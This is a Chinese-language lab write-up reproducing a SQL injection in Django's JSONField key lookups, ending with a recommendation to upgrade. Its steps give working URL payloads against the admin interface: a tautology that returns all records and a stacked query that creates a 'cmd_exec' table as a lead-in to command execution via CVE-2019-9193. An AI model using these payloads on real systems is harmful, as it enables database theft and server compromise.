漏洞描述:
Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。
在1.11.x before 1.11.23、2.1.x before 2.1.11和2.2.x before 2.2.4的版本中,Django存在安全漏洞,Django中使用了JSONField并且查询的“键名”可控,导致存在SQL注入漏洞。
后台登录页面:http://ip:port/admin
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.访问http://ip:port/admin,进入后台管理系统
3.构造payload,令b=123
payload:
http://ip:port/admin/vuln/collection/?detail__a%27b=123
4.查询所有结果
http://ip:port/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20
5.结合CVE-2019-9193我们尝试进行命令注入
http://ip:port/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
显示没有要获取的结果,证明命令正常执行
借此漏洞,可导致数据库中存放的用户的隐私信息的泄露,严重的可导致网页篡改;网站被挂马,传播恶意软件;修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;数据库被恶意操作;服务器被远程控制,被安装后门。
修复建议:
- 升级版本。